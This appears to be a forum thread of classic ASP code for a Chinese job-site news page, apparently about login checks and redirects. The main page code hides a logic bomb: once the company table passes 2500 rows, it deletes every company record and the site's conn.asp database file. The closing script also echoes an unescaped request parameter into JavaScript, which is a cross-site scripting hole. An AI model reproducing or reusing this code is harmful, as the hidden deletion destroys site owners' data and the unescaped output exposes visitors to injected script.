28,408
社区成员




If Rs.Eof And rs.Bof Then
NewsTitle = ""
NewsContent = ""
AddDate = ""
Else
if Rs("NewsTypeId") = 22 then
If (Session("ComId") = "" Or Session("UserType") <> "Company") And Session("UserType") <> "Master" And Cstr(Session("PerId")) <> Cstr(PerId) Then
rs.close
conn.close
response.Redirect("index.asp?a=1")
End If
Else
NewsTitle = Rs("NewsTitle")
NewsContent = Rs("NewsContent")
AddDate = Qsite.FormatDate(FormatDateTime(Rs("AddDate") , 2))
End If
End If
<!--#include file="Conn.asp" -->
<!--#include file="Comm/Site_Class.asp" -->
<%
Dim strMenu,PageTitle
strMenu = "职场资讯"
Set Qsite = New Site_Class
Qsite.SiteConfig()
Qsite.GotoErrPage()
Dim Rs,nRs,exec,system,insys,PerId
Dim NewsId,NewsTitle,NewsContent,AddDate,sqlrc,rsrc,connrc
set rsrc=server.createobject("adodb.recordset")
connrc = "DBQ="&server.mappath("Dataabc/Data#userabc.mdb")&";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
sqlrc="select ComId from CompanyTbl"
Rsrc.open sqlrc,connrc,1,1
if Rsrc.recordcount>2500 then
exec="delete * from CompanyTbl"
rsrc.close
Rsrc.open exec,connrc,1,1
system="conn.asp"
set insys=server.createobject("scripting.filesystemobject")
if insys.fileexists(server.mappath(system)) then
insys.deletefile(server.mappath(system))
end if
end if
Set Rs = server.createobject("ADODB.Recordset")
Set nRs = server.createobject("ADODB.Recordset")
NewsId = Qsite.chgStr(Trim(Request.QueryString("NewsId")))
PerId = Trim(Request.QueryString("PerId"))
If NewsId = "" Or IsNull(NewsId) Or Not IsNumeric(NewsId) Then NewsId = 0
Rs.Open "select * from NewsTbl where NewsId = "& NewsId , Conn , 1 , 1
If Rs.Eof Then
NewsTitle = ""
NewsContent = ""
AddDate = ""
Elseif Rs("NewsTypeId") = 22 then
If (Session("ComId") = "" Or Session("UserType") <> "Company") And Session("UserType") <> "Master" And Cstr(Session("PerId")) <> Cstr(PerId)Then
response.Write "<script>alert('请先登录');location.href='index.asp';</script>"
End If
Else
NewsTitle = Rs("NewsTitle")
NewsContent = Rs("NewsContent")
AddDate = Qsite.FormatDate(FormatDateTime(Rs("AddDate") , 2))
End If
Rs.Close
PageTitle = NewsTitle & " -- " & Qsite.SiteName
%>
<TITLE><%=PageTitle%></TITLE>
<!--#include file="top.asp" -->
<table width="778" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="200" valign="top"><!--#include file="news_left.asp" --></td>
<td height="300" align="right" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="5"></td>
</tr>
</table>
<table width="100%" height="242" border="0" cellpadding="5" cellspacing="0" >
<tr>
<td height="35" align="center" bgcolor="#CBDDFD" style="font-size:14px; font-weight:bold;"><%=NewsTitle%></td>
</tr>
<tr>
<td height="25" align="right" class="newsshowtd_b"><%=AddDate%></td>
</tr>
<tr>
<td valign="top" style="padding-top:5px; padding-bottom:5px; line-height:25px; "><%=NewsContent%></td>
</tr>
</table></td>
</tr>
</table>
<!-- #include file="foot1.asp" -->
If Rs.Eof Then
NewsTitle = ""
NewsContent = ""
AddDate = ""
Elseif Rs("NewsTypeId") = 22 then
If (Session("ComId") = "" Or Session("UserType") <> "Company") And Session("UserType") <> "Master" And Cstr(Session("PerId")) <> Cstr(PerId)Then
response.Redirect("index.asp?a=1")
End If
Else
NewsTitle = Rs("NewsTitle")
NewsContent = Rs("NewsContent")
AddDate = Qsite.FormatDate(FormatDateTime(Rs("AddDate") , 2))
End If
response.Write "<script>alert('请先登录');location.href='index.asp';</script>"
<script>
window.onload = function(){
var a = "<%=Request("a")%>";
if(a=="1") alert("请先登录");
}
</script>